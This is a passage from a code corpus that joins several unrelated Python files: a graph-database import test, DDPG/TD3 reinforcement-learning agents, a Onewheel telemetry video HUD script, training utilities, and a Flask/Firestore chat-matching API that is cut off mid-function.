record = result[0]
author = record["q"]["attribution"]
assert author == '<NAME>' or author == '<NAME>'
if author == '<NAME>':
assert record["cat"]["name"] == "Literature"
assert record["q"]["quote"] == "I wasn't kissing her. I was whispering in her mouth"
else:
assert record["cat"]["name"] == "Famous Quotes"
assert record["q"]["quote"] == "Inspiration exists, but it has to find us working"
# END of for loop
# Add an extra quote, connected to 2 categories
data = { "quote": "My destination is no longer a place, rather a new way of seeing",
"attribution": "Proust",
"in_category": [
{
"name": "French Literature"
}
,
{
"name": "Philosophy"
}
],
"verified": False
}
# Import
new_node_id_list = NeoSchema.create_data_nodes_from_python_data(data, class_name="quotes")
#print("new_node_id_list: ", new_node_id_list)
assert len(new_node_id_list) == 1
new_root_id = new_node_id_list[0]
# Locate the latest "quotes" data node, and count the links in/out of it
assert db.count_links(match=new_root_id, rel_name="imported_data", rel_dir="IN", neighbor_labels="Import Data") == 1
assert db.count_links(match=new_root_id, rel_name="in_category", rel_dir="OUT", neighbor_labels="Categories") == 2
assert db.count_links(match=new_root_id, rel_name="SCHEMA", rel_dir="OUT", neighbor_labels="CLASS") == 1
# Traverse a loop in the graph, from the `quotes` data node back to itself,
# going thru the 2 category data nodes and their shared Schema node
q = '''
MATCH (q :quotes)-[:in_category]->(cat1 :Categories {name: "French Literature"})
-[:SCHEMA]->(cl_c :CLASS {name:"Categories"})
<-[:SCHEMA]-(cat2 :Categories {name: "Philosophy"})
<-[:in_category]-(q)
WHERE id(q) = $quote_id
RETURN q, cat1, cl_c, cat2
'''
result = db.query(q, data_binding={"quote_id": new_root_id})
#print(result)
assert len(result) == 1
record = result[0]
assert record["q"]["attribution"] == "Proust"
assert record["q"]["quote"] == "My destination is no longer a place, rather a new way of seeing"
assert record["q"]["verified"] == False
# Locate the data node for the Class "Import Data", and count the links in/out of it
match = db.find(labels="CLASS", key_name="name", key_value="Import Data")
assert db.count_links(match=match, rel_name="SCHEMA", rel_dir="IN", neighbor_labels="Import Data") == 2
assert db.count_links(match=match, rel_name="imported_data", rel_dir="OUT", neighbor_labels="CLASS") == 1
# Verify the data types
q = '''
MATCH (n)
WHERE id(n) = $quote_id
RETURN apoc.meta.cypher.types(n) AS data_types
'''
data_types = db.query(q, data_binding={"quote_id": new_root_id}, single_cell="data_types")
#print(data_types)
assert data_types == {'verified': 'BOOLEAN', 'attribution': 'STRING', 'quote': 'STRING', 'item_id': 'INTEGER'}
| 2.234375 | 2 |
rl/agents/ddpg.py | KNakane/tensorflow | 1 | 12789686 | # -*- coding: utf-8 -*-
import os,sys
sys.path.append(os.path.join(os.path.dirname(__file__), '../../utility'))
sys.path.append(os.path.join(os.path.dirname(__file__), '../../network'))
import numpy as np
import tensorflow as tf
from agent import Agent
from eager_nn import ActorNet, CriticNet
from optimizer import *
from OU_noise import OrnsteinUhlenbeckProcess
class DDPG(Agent):
def __init__(self, *args, **kwargs):
self.max_action = kwargs.pop('max_action')
super().__init__(*args, **kwargs)
self.noise = OrnsteinUhlenbeckProcess(num_actions=self.n_actions)
self.tau = 0.01
if self.is_categorical:
self.Vmax, self.Vmin = 10.0, -10.0
self.delta_z = tf.lin_space(self.Vmin, self.Vmax, self.critic.N_atoms)
"""
self.delta_z = (self.Vmax - self.Vmin) / (self.q_eval.N_atoms - 1)
self.z_list = tf.constant([self.Vmin + i * self.delta_z for i in range(self.critic.N_atoms)],dtype=tf.float32)
self.z_list_broadcasted = tf.tile(tf.reshape(self.z_list,[1,self.q_eval.N_atoms]), tf.constant([self.n_actions,1]))
"""
def _build_net(self):
self.actor = ActorNet(model=self.model[0], out_dim=self.n_actions, name='ActorNet', opt=self._optimizer, lr=self.lr, trainable=self.trainable, max_action=self.max_action)
self.actor_target = ActorNet(model=self.model[0], out_dim=self.n_actions, name='ActorNet_target', trainable=False, max_action=self.max_action)
self.critic = CriticNet(model=self.model[1], out_dim=1, name='CriticNet', opt=self._optimizer, lr=self.lr, trainable=self.trainable)
self.critic_target = CriticNet(model=self.model[1], out_dim=1, name='CriticNet_target',trainable=False)
@tf.contrib.eager.defun
def inference(self, state):
return self.actor.inference(state)
def choose_action(self, observation):
observation = observation[np.newaxis, :]
action = self.inference(observation) + np.expand_dims(self.noise.generate(),axis=0)
return np.array(action[0])
def test_choose_action(self, observation):
observation = observation[np.newaxis, :]
action = self.inference(observation)
return np.array(action[0])
def update_q_net(self, replay_data, weights):
bs, ba, done, bs_, br, p_idx = replay_data
self.bs = np.array(bs, dtype=np.float32)
bs_ = np.array(bs_, dtype=np.float32)
eval_act_index = np.reshape(ba,(self.batch_size, self.n_actions))
reward = np.reshape(np.array(br, dtype=np.float32),(self.batch_size,1))
done = np.reshape(np.array(done, dtype=np.float32),(self.batch_size,1))
p_idx = np.reshape(p_idx,(self.batch_size,1))
return self._train_body(self.bs, eval_act_index, done, bs_, reward, p_idx, weights)
@tf.contrib.eager.defun
def _train_body(self, bs, eval_act_index, done, bs_, reward, p_idx, weights):
global_step = tf.train.get_or_create_global_step()
# update critic_net
with tf.device(self.device):
with tf.GradientTape() as tape:
if self.is_categorical:
pass
else:
critic_next, critic_eval = self.critic_target.inference([bs_, self.actor_target.inference(bs_)]), self.critic.inference([bs, eval_act_index])
target_Q = reward + self.discount ** tf.cast(p_idx, tf.float32) * critic_next * (1. - done)
target_Q = tf.stop_gradient(target_Q)
# ↓critic_loss
error = tf.losses.huber_loss(labels=target_Q, predictions=critic_eval)
td_error = tf.abs(tf.reduce_mean(target_Q - critic_eval, axis=1))
critic_loss = tf.reduce_mean(error * weights, keepdims=True)
self.critic.optimize(critic_loss, global_step, tape)
# update actor_net
with tf.GradientTape() as tape:
actor_eval = tf.cast(self.actor.inference(bs), tf.float32)
actor_loss = -tf.reduce_mean(self.critic.inference([bs, actor_eval]))
self.actor.optimize(actor_loss, global_step, tape)
# check to replace target parameters
self.update_target_net()
return [critic_loss, actor_loss], td_error
def update_target_net(self):
# update critic_target_net
for param, target_param in zip(self.critic.weights, self.critic_target.weights):
target_param.assign(self.tau * param + (1 - self.tau) * target_param)
# update actor_target_net
for param, target_param in zip(self.actor.weights, self.actor_target.weights):
target_param.assign(self.tau * param + (1 - self.tau) * target_param)
return
class TD3(Agent):
def __init__(self, *args, **kwargs):
self.max_action = kwargs.pop('max_action')
super().__init__(*args, **kwargs)
self.noise = OrnsteinUhlenbeckProcess(num_actions=self.n_actions)
self.tau = 0.01
self.policy_freq = 2
def _build_net(self):
self.actor = ActorNet(model=self.model[0], out_dim=self.n_actions, name='ActorNet', opt=self._optimizer, lr=self.lr, trainable=True, max_action=self.max_action)
self.actor_target = ActorNet(model=self.model[0], out_dim=self.n_actions, name='ActorNet_target', trainable=False, max_action=self.max_action)
self.critic1 = CriticNet(model=self.model[1], out_dim=1, name='CriticNet1', opt=self._optimizer, lr=self.lr, trainable=True)
self.critic2 = CriticNet(model=self.model[1], out_dim=1, name='CriticNet2', opt=self._optimizer, lr=self.lr, trainable=True)
self.critic_target1 = CriticNet(model=self.model[1], out_dim=1, name='CriticNet_target1',trainable=False)
self.critic_target2 = CriticNet(model=self.model[1], out_dim=1, name='CriticNet_target2',trainable=False)
@tf.contrib.eager.defun
def inference(self, state):
return self.actor.inference(state)
def choose_action(self, observation):
observation = observation[np.newaxis, :]
action = self.inference(observation) + np.expand_dims(self.noise.generate(),axis=0)
return np.array(action[0])
def test_choose_action(self, observation):
observation = observation[np.newaxis, :]
action = self.inference(observation)
return np.array(action[0])
def update_q_net(self, replay_data, weights):
bs, ba, done, bs_, br, p_idx = replay_data
self.bs = np.array(bs, dtype=np.float32)
bs_ = np.array(bs_, dtype=np.float32)
eval_act_index = np.reshape(ba,(self.batch_size, self.n_actions))
reward = np.reshape(np.array(br, dtype=np.float32),(self.batch_size,1))
done = np.reshape(np.array(done, dtype=np.float32),(self.batch_size,1))
p_idx = np.reshape(p_idx,(self.batch_size,1))
critic_loss1, critic_loss2, td_error = self._train_critic(self.bs, eval_act_index, done, bs_, reward, p_idx, weights)
if self._iteration % self.policy_freq == 0:
self.actor_loss = self._train_actor(self.bs)
self._iteration += 1
return [critic_loss1, critic_loss2, self.actor_loss], td_error
@tf.contrib.eager.defun
def _train_critic(self, bs, eval_act_index, done, bs_, reward, p_idx, weights, noise_clip=0.5):
with tf.device(self.device):
global_step = tf.train.get_or_create_global_step()
noise = tf.clip_by_value(tf.random.normal(shape=[self.batch_size,1],mean=0.0, stddev=0.2) , -noise_clip, noise_clip)
next_action = tf.clip_by_value(self.actor_target.inference(bs_) + noise, -self.max_action, self.max_action)
critic_next1, critic_next2 = self.critic_target1.inference([bs_, next_action]), self.critic_target2.inference([bs_, next_action])
critic_next = tf.minimum(critic_next1, critic_next2)
target_Q = reward + self.discount ** tf.cast(p_idx, tf.float32) * critic_next * (1. - done)
target_Q = tf.stop_gradient(target_Q)
# update critic_net1
with tf.GradientTape() as tape:
critic_eval1 = self.critic1.inference([bs, eval_act_index])
error = tf.losses.huber_loss(labels=target_Q, predictions=critic_eval1)
td_error = tf.abs(tf.reduce_mean(target_Q - critic_eval1, axis=1))
critic_loss1 = tf.reduce_mean(error * weights, keepdims=True)
self.critic1.optimize(critic_loss1, global_step, tape)
with tf.GradientTape() as tape:
critic_eval2 = self.critic2.inference([bs, eval_act_index])
critic_loss2 = tf.reduce_mean(tf.losses.huber_loss(labels=target_Q, predictions=critic_eval2) * weights, keepdims=True)
self.critic2.optimize(critic_loss2, global_step, tape)
return critic_loss1, critic_loss2, td_error
@tf.contrib.eager.defun
def _train_actor(self, bs):
with tf.device(self.device):
global_step = tf.train.get_or_create_global_step()
# update actor_net
with tf.GradientTape() as tape:
actor_eval = tf.cast(self.actor.inference(bs), tf.float32)
self.actor_loss = -tf.reduce_mean(self.critic1.inference([bs, actor_eval]))
self.actor.optimize(self.actor_loss, global_step, tape)
# check to replace target parameters
self.update_target_net()
return self.actor_loss
def update_target_net(self):
# update critic_target_net1
for param, target_param in zip(self.critic1.weights, self.critic_target1.weights):
target_param.assign(self.tau * param + (1 - self.tau) * target_param)
# update critic_target_net2
for param, target_param in zip(self.critic2.weights, self.critic_target2.weights):
target_param.assign(self.tau * param + (1 - self.tau) * target_param)
# update actor_target_net
for param, target_param in zip(self.actor.weights, self.actor_target.weights):
target_param.assign(self.tau * param + (1 - self.tau) * target_param)
return | 2.125 | 2 |
src/OnewheelHudVideo.py | wmaciel/video-hud | 5 | 12789687 | # -*- coding: utf-8 -*-
from datetime import timedelta
import tqdm
from moviepy.editor import *
from IconManager import IconManager
import LogParser
resolution_map = {
'1080': {
'portrait': {'w': 1080, 'h': 1920},
'landscape': {'w': 1920, 'h': 1080}
},
'720': {
'portrait': {'w': 720, 'h': 1280},
'landscape': {'w': 1280, 'h': 720}
}
}
class OnewheelHudVideo:
def __init__(self, data_path, footage_path, orientation='portrait', resolution='1080', start_second=0,
start_date=None, end_second=None, unit='mm', out_path='onewheel.MP4'):
self.footage_path = footage_path
self.orientation = orientation
self.resolutions = compute_resolutions(orientation, resolution)
self.start_second = start_second
self.end_second = end_second
self.icon_manager = IconManager(resolution=res_2_tuple(self.resolutions['icon']),
unit='metric' if unit[1] == 'm' else 'imperial')
self.data = LogParser.parse(data_path, unit)
self.start_date = LogParser.parse_millisecond_time(start_date)
self.out_path = out_path
print 'Footage is coming from', self.footage_path
print 'Footage orientation is', self.orientation
print 'Resolutions are:'
print self.resolutions
def render(self):
print 'Generating footage clip...'
footage_clip = self.generate_footage_clip()
print 'Generating info clip...'
info_clip = self.generate_fps_info_clip(footage_clip, self.start_date)
print 'Generating final clip...'
final_clip = CompositeVideoClip([footage_clip, info_clip.set_position('bottom', 'center')])
print 'Rendering...'
final_clip.write_videofile(self.out_path, fps=60, threads=8)
# final_clip.preview(fps=60, audio=False)
# final_clip.save_frame(filename="frame.png", t=10.669)
def generate_fps_info_clip(self, footage, start_date):
icon_clips = {
'speed': [],
'pitch': [],
'roll': [],
'battery': [],
'temperature': []
}
frame_duration = 1.0/footage.fps
last_id = 0
for t in tqdm.tqdm(f_range(0, footage.duration, frame_duration)):
row, last_id = interpolate_from_data(self.data, timedelta(seconds=t), start_date, last_id)
icon_clips['speed'].append(self.icon_manager.get_animated_speed_icon_clip(speed=row['speed'],
duration=frame_duration))
icon_clips['pitch'].append(self.icon_manager.get_pitch_icon_clip(angle=row['pitch'],
duration=frame_duration))
icon_clips['roll'].append(self.icon_manager.get_roll_icon_clip(angle=row['roll'],
duration=frame_duration))
icon_clips['battery'].append(self.icon_manager.get_battery_icon_clip(charge=row['battery'],
duration=frame_duration))
icon_clips['temperature'].append(self.icon_manager.get_temperature_icon_clip(temperature=row['motor_temp'],
duration=frame_duration))
print 'Combining icons...'
info_clip = self.combine_info_clips(icon_clips)
return info_clip
def compute_log_delay(self, i):
delta_t = self.data[i + 1]['time'] - self.data[i]['time']
delta_seconds = delta_t.seconds + delta_t.microseconds * 1e-6
return delta_seconds
def generate_time_clip(self):
time_clips = []
for row in tqdm.tqdm(self.data[:300]):
time_str = '{}'.format(row['time'])
time_clips.append(TextClip(time_str, fontsize=64, color='red').set_duration(self.avg_log_delay))
return concatenate_videoclips(time_clips)
def combine_info_clips(self, icon_clips):
# combine clips by info
full_icon_clips = [
concatenate_videoclips(icon_clips['speed']),
concatenate_videoclips(icon_clips['pitch']),
concatenate_videoclips(icon_clips['roll']),
concatenate_videoclips(icon_clips['battery']),
concatenate_videoclips(icon_clips['temperature'])
]
# combine info clips into a bar
if self.orientation == 'portrait':
# make a horizontal bar
return clips_array([full_icon_clips])
elif self.orientation == 'landscape':
# transpose full_icon_clips
vertical_array = [
[full_icon_clips[0]],
[full_icon_clips[1]],
[full_icon_clips[2]],
[full_icon_clips[3]],
[full_icon_clips[4]]
]
# make a vertical bar
return clips_array(vertical_array)
else:
raise Exception("Orientation not set")
def generate_footage_clip(self):
footage_clip = (VideoFileClip(self.footage_path)
.resize(res_2_tuple(self.resolutions['footage'])))
footage_clip = footage_clip.subclip(t_start=self.start_second, t_end=self.end_second)
if self.orientation == 'portrait':
footage_clip = footage_clip.rotate(-90)
return footage_clip
def compute_resolutions(orientation, resolution_name):
resolution = resolution_map[resolution_name][orientation]
resolutions = {}
n_icons = 5
# the footage is the same as the full resolution
resolutions['footage'] = resolution
# in portrait, the icons will be layed along the bottom edge
if orientation == 'portrait':
resolutions['icon'] = {
'w': resolution['w'] / float(n_icons),
'h': resolution['w'] / float(n_icons)
}
# in landscape, the icons will be laid along the right edge
else: # orientation == landscape
resolutions['icon'] = {
'w': resolution['h'] / float(n_icons),
'h': resolution['h'] / float(n_icons)
}
return resolutions
def interpolate_from_data(data, delta_t, start_date, last_id=0):
# find between which rows is t in
t = delta_t + start_date
id_1 = None
id_2 = None
for i, row in enumerate(data[last_id:]):
if row['time'] >= t:
id_2 = i + last_id
id_1 = id_2 - 1
break
# find interpolation offset x
d1 = data[id_1]['time']
d2 = data[id_2]['time']
x = (t - d1).total_seconds() / (d2 - d1).total_seconds()
# use x offset to interpolate attributes
row = {'time': t}
r1 = data[id_1]
r2 = data[id_2]
for item in r1.items():
if item[0] != 'time':
a1 = r1[item[0]]
a2 = r2[item[0]]
if a1 is None or a2 is None:
row[item[0]] = None
else:
row[item[0]] = (a2 - a1) * x + a1
return row, id_2
def compute_average_delta_t(data):
deltas_s = []
for i, row in enumerate(data):
if i + 1 < len(data):
delta_t = data[i + 1]['time'] - row['time']
deltas_s.append(round(delta_t.seconds + delta_t.microseconds * 1e-6, 2))
return sum(deltas_s) / len(deltas_s)
def res_2_tuple(resolution):
"""
Converts a resolution map to a tuple
"""
return resolution['h'], resolution['w']
def f_range(start, stop, step):
""""
Implementation of the range built-in range function using floating point numbers as shown at:
https://www.pythoncentral.io/pythons-range-function-explained/
"""
i = start
while i < stop:
yield i
i += step
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Generates a HUD video of your onewheel ride from a log file')
parser.add_argument('log_file', type=str, help='Path to the logfile used to annotate the video')
parser.add_argument('video_file', type=str, help='Path to the video to be annotated')
parser.add_argument('--start-second', type=float, default=0,
help='Which second of the original footage should the final video start from')
parser.add_argument('--start-date', type=str, default='0',
help='Timestamp at the moment of the frame on start_second')
parser.add_argument('--end-second', type=float, default=None,
help='Which second of the original footage the the final video end at')
parser.add_argument('--unit', type=str, default='mm', choices=['mm', 'mi', 'im', 'ii'],
help='Defines input output unit conversion with two letters. The first denotes the input unit '
'and the second denotes the output unit.')
parser.add_argument('--output-file', '-o', type=str,
help='Path the output file. If none is given a file called onewheel.MP4 will be created on the '
'directory the script if being run.')
args = parser.parse_args()
onewheel_video = OnewheelHudVideo(args.log_file,
args.video_file,
start_second=args.start_second,
start_date=args.start_date,
end_second=args.end_second,
unit=args.unit,
out_path=args.output_file)
onewheel_video.render()
| 2.359375 | 2 |
tests/gravity_support_objects_test.py | NextCenturyCorporation/mcs-scene-generator | 4 | 12789688 | from generator import (
DefinitionDataset,
ObjectDefinition,
gravity_support_objects,
)
def test_getters_reuse_immutable_dataset():
dataset_1 = (
gravity_support_objects.get_symmetric_target_definition_dataset(
unshuffled=True
)
)
dataset_2 = (
gravity_support_objects.get_symmetric_target_definition_dataset(
unshuffled=True
)
)
assert dataset_1 is dataset_2
assert isinstance(dataset_1, DefinitionDataset)
def test_does_have_definitions():
dataset = gravity_support_objects.get_asymmetric_target_definition_dataset(
unshuffled=True
)
definitions = dataset.definitions()
assert len(definitions) > 0
for definition in definitions:
assert isinstance(definition, ObjectDefinition)
dataset = gravity_support_objects.get_symmetric_target_definition_dataset(
unshuffled=True
)
definitions = dataset.definitions()
assert len(definitions) > 0
for definition in definitions:
assert isinstance(definition, ObjectDefinition)
output = gravity_support_objects.get_visible_support_object_definition()
assert isinstance(output, ObjectDefinition)
def test_create_pole_template():
pole = gravity_support_objects.create_pole_template(1)
assert pole['shows'][0]['stepBegin'] == 1
assert pole['moves'][0]['stepBegin'] == 1
pole = gravity_support_objects.create_pole_template(100)
assert pole['shows'][0]['stepBegin'] == 100
assert pole['moves'][0]['stepBegin'] == 100
| 2.25 | 2 |
utils/utils.py | lovish1234/TPC | 0 | 12789689 | <gh_stars>0
# calculate average, confusion matrix, accruacy
import torch
import numpy as np
import os
import ntpath
import sys
from datetime import datetime
import glob
import matplotlib.pyplot as plt
plt.switch_backend('agg')
from collections import deque
from tqdm import tqdm
from torchvision import transforms
def save_checkpoint(state, is_best=0, filename='models/checkpoint.pth.tar', save_every=10):
# save after every few epochs
if state['epoch'] % save_every == 0:
torch.save(state, filename)
# last_epoch_path = os.path.join(os.path.dirname(filename),
# 'epoch%s.pth.tar' % str(state['epoch']-gap))
# if not keep_all:
# try: os.remove(last_epoch_path)
# except: pass
if is_best:
past_best = glob.glob(os.path.join(
os.path.dirname(filename), 'model_best_*.pth.tar'))
for i in past_best:
try:
os.remove(i)
except:
pass
torch.save(state, os.path.join(os.path.dirname(filename),
'model_best_epoch%s.pth.tar' % str(state['epoch'])))
def write_log(content, epoch, filename):
if not os.path.exists(filename):
log_file = open(filename, 'w')
else:
log_file = open(filename, 'a')
log_file.write('## Epoch %d:\n' % epoch)
log_file.write('time: %s\n' % str(datetime.now()))
log_file.write(content + '\n\n')
log_file.close()
def calc_topk_accuracy(output, target, topk=(1,)):
'''
Modified from: https://gist.github.com/agermanidis/275b23ad7a10ee89adccf021536bb97e
Given predicted and ground truth labels,
calculate top-k accuracies.
'''
maxk = max(topk)
batch_size = target.size(0)
# take the indices of topk values
values, pred = output.topk(maxk, 1, True, True)
#print (values[0], pred[0])
pred = pred.t()
#print (pred, type(pred), pred.shape)
correct = pred.eq(target.view(1, -1).expand_as(pred))
res = []
for k in topk:
correct_k = correct[:k].view(-1).float().sum(0)
res.append(correct_k.mul_(1 / batch_size))
return res
def calc_bottomk_accuracy(output, target, topk=(1,)):
'''
Modified from: https://gist.github.com/agermanidis/275b23ad7a10ee89adccf021536bb97e
Given predicted and ground truth labels,
calculate top-k accuracies.
'''
maxk = max(topk)
batch_size = target.size(0)
# take the indices of topk values
values, pred = output.topk(maxk, 1, False, True)
#print (values[0], pred[0])
pred = pred.t()
#print (pred, type(pred), pred.shape)
correct = pred.eq(target.view(1, -1).expand_as(pred))
res = []
for k in topk:
correct_k = correct[:k].view(-1).float().sum(0)
res.append(correct_k.mul_(1 / batch_size))
return res
def calc_accuracy(output, target):
''' output: (B, N) or list thereof; target: (B) or list thereof.
Supports multi-type classification as well, returning joint accuracy as the last item. '''
if isinstance(output, list) and len(output) >= 2:
# Multiple class types
accuracies = []
preds = []
for cur_out, cur_tar in zip(output, target):
cur_tar = cur_tar.squeeze()
_, cur_pred = torch.max(cur_out, dim=1)
cur_acc = torch.mean((cur_pred == cur_tar).float()).item()
accuracies.append(cur_acc)
preds.append(cur_pred)
# Calculate joint accuracy as well
B = output[0].shape[0]
class_divisions = len(output)
both_correct = 0
for i in range(B):
if np.all([preds[k][i].item() == target[k][i].item() for k in range(class_divisions)]):
both_correct += 1
joint_acc = both_correct / B
accuracies.append(joint_acc)
return accuracies
else:
# Single class type
if isinstance(output, list):
output = output[0]
target = target[0]
target = target.squeeze()
_, pred = torch.max(output, 1)
return torch.mean((pred == target).float())
def calc_accuracy_binary(output, target):
'''output, target: (B, N), output is logits, before sigmoid '''
pred = output > 0
acc = torch.mean((pred == target.byte()).float())
del pred, output, target
return acc
def denorm(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]):
assert len(mean) == len(std) == 3
inv_mean = [-mean[i] / std[i] for i in range(3)]
inv_std = [1 / i for i in std]
return transforms.Normalize(mean=inv_mean, std=inv_std)
def get_action_from_frame(map_action_frame, vpath, frame_index):
# frame_id = vpath.split('/')[-1] + '_' + str(frame_index)
video_id = ntpath.basename(vpath).split('.')[0] # remove path & extension, if any
frame_id = video_id + '_' + str(frame_index)
action = map_action_frame.get(frame_id, None)
if action == None:
return 'None' + ' ' + 'None'
else:
return action.get_action()
class single_action:
x = 5
def __init__(self, verb, noun):
self.verb = verb
self.noun = noun
def get_action(self):
return(self.verb + ' ' + self.noun)
def get_verb(self):
return self.verb
def get_noun(self):
return self.noun
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
self.local_history = deque([])
self.local_avg = 0
self.history = []
self.dict = {} # save all data values here
self.save_dict = {} # save mean and std here, for summary table
def update(self, val, n=1, history=0, step=64):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
if history:
self.history.append(val)
if step > 0:
self.local_history.append(val)
if len(self.local_history) > step:
self.local_history.popleft()
self.local_avg = np.average(self.local_history)
def dict_update(self, val, key):
if key in self.dict.keys():
self.dict[key].append(val)
else:
self.dict[key] = [val]
def __len__(self):
return self.count
class AccuracyTable(object):
'''compute accuracy for each class'''
def __init__(self):
self.dict = {}
def update(self, pred, tar):
pred = torch.squeeze(pred)
tar = torch.squeeze(tar)
for i, j in zip(pred, tar):
i = int(i)
j = int(j)
if j not in self.dict.keys():
self.dict[j] = {'count': 0, 'correct': 0}
self.dict[j]['count'] += 1
if i == j:
self.dict[j]['correct'] += 1
def print_table(self, label):
for key in self.dict.keys():
acc = self.dict[key]['correct'] / self.dict[key]['count']
print('%s: %2d, accuracy: %3d/%3d = %0.6f'
% (label, key, self.dict[key]['correct'], self.dict[key]['count'], acc))
class ConfusionMeter(object):
'''compute and show confusion matrix'''
def __init__(self, num_class):
self.num_class = num_class
self.mat = np.zeros((num_class, num_class))
self.precision = []
self.recall = []
def update(self, pred, tar):
pred, tar = pred.cpu().numpy(), tar.cpu().numpy()
pred = np.squeeze(pred)
tar = np.squeeze(tar)
for p, t in zip(pred.flat, tar.flat):
self.mat[p][t] += 1
def print_mat(self):
print('Confusion Matrix: (target in columns)')
print(self.mat)
def plot_mat(self, path, dictionary=None, annotate=False):
plt.figure(dpi=600)
plt.imshow(self.mat,
cmap=plt.cm.jet,
interpolation=None,
extent=(0.5, np.shape(self.mat)[0] + 0.5, np.shape(self.mat)[1] + 0.5, 0.5))
width, height = self.mat.shape
if annotate:
for x in range(width):
for y in range(height):
plt.annotate(str(int(self.mat[x][y])), xy=(y + 1, x + 1),
horizontalalignment='center',
verticalalignment='center',
fontsize=8)
if dictionary is not None:
plt.xticks([i + 1 for i in range(width)],
[dictionary[i] for i in range(width)],
rotation='vertical')
plt.yticks([i + 1 for i in range(height)],
[dictionary[i] for i in range(height)])
plt.xlabel('Ground Truth')
plt.ylabel('Prediction')
plt.colorbar()
plt.tight_layout()
plt.savefig(path, format='svg')
plt.clf()
# for i in range(width):
# if np.sum(self.mat[i,:]) != 0:
# self.precision.append(self.mat[i,i] / np.sum(self.mat[i,:]))
# if np.sum(self.mat[:,i]) != 0:
# self.recall.append(self.mat[i,i] / np.sum(self.mat[:,i]))
# print('Average Precision: %0.4f' % np.mean(self.precision))
# print('Average Recall: %0.4f' % np.mean(self.recall))
class data_prefetcher:
'''
Open a cuda side stream to prefetch data from next iteration, this process
is overlapping with forward pass in the model, thus accelerating dataloading
process.
NOTE:
1. a cuda variable specifying cuda device and a dataloader is required as an input
2. pin_memory in the datalaoder needs to be set to True before passed in
'''
def __init__(self, loader, cuda):
self.loader = iter(loader)
self.stream = torch.cuda.Stream()
self.preload(cuda)
def preload(self, cuda):
try:
self.input_dict = next(self.loader)
self.input_seq = self.input_dict['t_seq']
except StopIteration:
self.input_dict = None
self.input_seq = None
return
with torch.cuda.stream(self.stream):
self.input_seq = self.input_seq.to(cuda, non_blocking=True)
def next(self, cuda):
torch.cuda.current_stream().wait_stream(self.stream)
input_dict = self.input_dict
input_seq = self.input_seq
self.preload(cuda)
return input_dict, input_seq
| 2.109375 | 2 |
chat_match/__init__.py | Latiosu/chat-match | 0 | 12789690 | <gh_stars>0
__version__ = '0.1.0'
import firebase_admin
from firebase_admin import credentials, firestore
from flask import Flask
from flask_restful import Resource, Api, reqparse
from datetime import datetime, timezone
import random
import re
import string
import uuid
from uuid import UUID
# Use a service account
cred = credentials.Certificate('firebase-secret.json')
firebase_admin.initialize_app(cred)
db = firestore.client()
app = Flask(__name__)
api = Api(app)
class Graphs(Resource):
"""Graphs containing nodes and edges"""
def get(self):
graphs_ref = db.collection('graphs')
parser = reqparse.RequestParser()
parser.add_argument('graph_id', required=False)
args = parser.parse_args()
graph_id = args['graph_id']
if graph_id is not None and self.is_valid_graph_id(graph_id):
graph = graphs_ref.document(graph_id).get()
if graph.exists:
return {'data': graph.to_dict()}, 200
else:
return {'message': f'No such graph with id {graph_id}'}, 401
else:
query = graphs_ref.order_by('created').limit(50)
res = {}
count = 0
for graph in query.stream():
res[graph.id] = graph.to_dict()
return {'data': res}, 200
def post(self):
graphs_ref = db.collection('graphs')
parser = reqparse.RequestParser()
parser.add_argument('names', required=True, help="names parameter required")
args = parser.parse_args()
names = self.filter_names(args['names'].split(','))
# Generate graph identifier
success = False
attempt = 0
graph_id = None
while not success and attempt < 3:
graph_id = self.generate_identifier()
attempt += 1
if not graphs_ref.document(graph_id).get().exists:
success = True
if graph_id is None:
return {'message': f'Unable to generate graph, please try again later'}, 500
# Build initial graph
graph = {
'graph_id': graph_id,
'created': str(datetime.now(timezone.utc)),
'events': [],
'nodes': [{'node_id': i, 'name': name, 'edges': []} for i, name in enumerate(names)]
}
graphs_ref.document(graph_id).set(graph)
return {'graph_id': graph_id}, 200
def delete(self):
graphs_ref = db.collection('graphs')
events_ref = db.collection('events')
parser = reqparse.RequestParser()
parser.add_argument('graph_id', required=True, help="graph_id parameter required")
args = parser.parse_args()
graph_id = args['graph_id']
if not self.is_valid_graph_id(graph_id):
return {'message': f'Invalid graph id {graph_id}'}, 400
graph = graphs_ref.document(graph_id).get()
if not graph.exists:
return {'message': f'No such graph with id {graph_id}'}, 404
for event in events_ref.where('graph_id', '==', graph_id).stream():
events_ref.document(event.to_dict()['event_id']).delete()
graphs_ref.document(graph_id).delete()
return {'message': f'Deleted graph and events with graph_id {graph_id}'}, 200
def is_valid_graph_id(self, graph_id):
cleaned = re.sub('[^A-Z]', '', graph_id).strip()
if len(cleaned) != 4:
return False
return True
def filter_names(self, names):
filtered_names = []
for name in names:
cleaned = re.sub('[^a-zA-Z0-9 ]', '', name).strip()
if len(cleaned) > 0 and cleaned not in filtered_names:
filtered_names.append(cleaned)
return filtered_names
def generate_identifier(self):
return "".join(random.sample(list(string.ascii_uppercase), k=4))
class Events(Resource):
"""Instances of matching events"""
def get(self):
events_ref = db.collection('events')
parser = reqparse.RequestParser()
parser.add_argument('event_id', required=False)
parser.add_argument('graph_id', required=False)
args = parser.parse_args()
event_id = args['event_id']
graph_id = args['graph_id']
if (event_id is not None and graph_id is not None) \
or (event_id is None and graph_id is None):
return {'message': f'One of either graph_id or event_id is required'}, 400
elif event_id is not None and self.is_valid_event_id(event_id):
event = events_ref.document(event_id).get()
if event.exists:
return {'data': event.to_dict()}, 200
else:
return {'message': f'No such event with id {event_id}'}, 401
elif graph_id is not None and self.is_valid_graph_id(graph_id):
query = events_ref.where('graph_id', '==', graph_id).order_by('created')
res = []
for event in query.stream():
res.append(event.to_dict())
return {'data': res}, 200
else:
return {'message': f'Invalid graph_id or event_id given'}, 400
def post(self):
graphs_ref = db.collection('graphs')
events_ref = db.collection('events')
parser = reqparse.RequestParser()
parser.add_argument('graph_id', required=True)
parser.add_argument('ignore_ids', required=False)
args = parser.parse_args()
graph_id = args['graph_id']
# names = self.filter_ids(args['ignore_ids'].split(','))
if not self.is_valid_graph_id(graph_id):
return {'message': f'Invalid graph id {graph_id}'}, 400
graph = graphs_ref.document(graph_id).get()
if not graph.exists:
return {'message': f'No such graph with id {graph_id}'}, 401
# Compute changes and persist
res = self.algorithm(graph.to_dict(), graph_id)
if res is None:
